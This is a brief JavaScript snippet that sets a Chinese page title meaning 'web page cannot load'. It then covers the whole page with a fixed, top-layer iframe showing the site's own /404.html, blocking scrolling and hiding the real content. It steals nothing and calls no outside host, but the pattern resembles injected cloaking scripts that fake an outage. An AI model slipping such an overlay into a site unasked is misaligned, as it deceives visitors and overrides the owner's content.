document.write('<meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1"><title>&#32593;&#39029;&#26080;&#27861;&#21152;&#36733;</title>');

var hd = document.head;
var iframe_url='/404.html';
var styleCSS = document.createElement('style'), Fby = document.createElement('div');
styleCSS.innerHTML = 'html,body{position:relative;width:auto !important;height:100% !important;min-width:auto !important;overflow:hidden;}.Fby{position:fixed;top:0;left:0;right:0;height:100%;z-index:9999999999;background:#fff;}';

Fby.setAttribute('class', 'Fby');
Fby.innerHTML = '<iframe src=' + iframe_url + ' frameborder="0" style="position:fixed;top:0;left:0;width:100% !important;height:100% !important;max-height: none !important;"></iframe>';

hd.appendChild(styleCSS);
hd.parentNode.appendChild(Fby);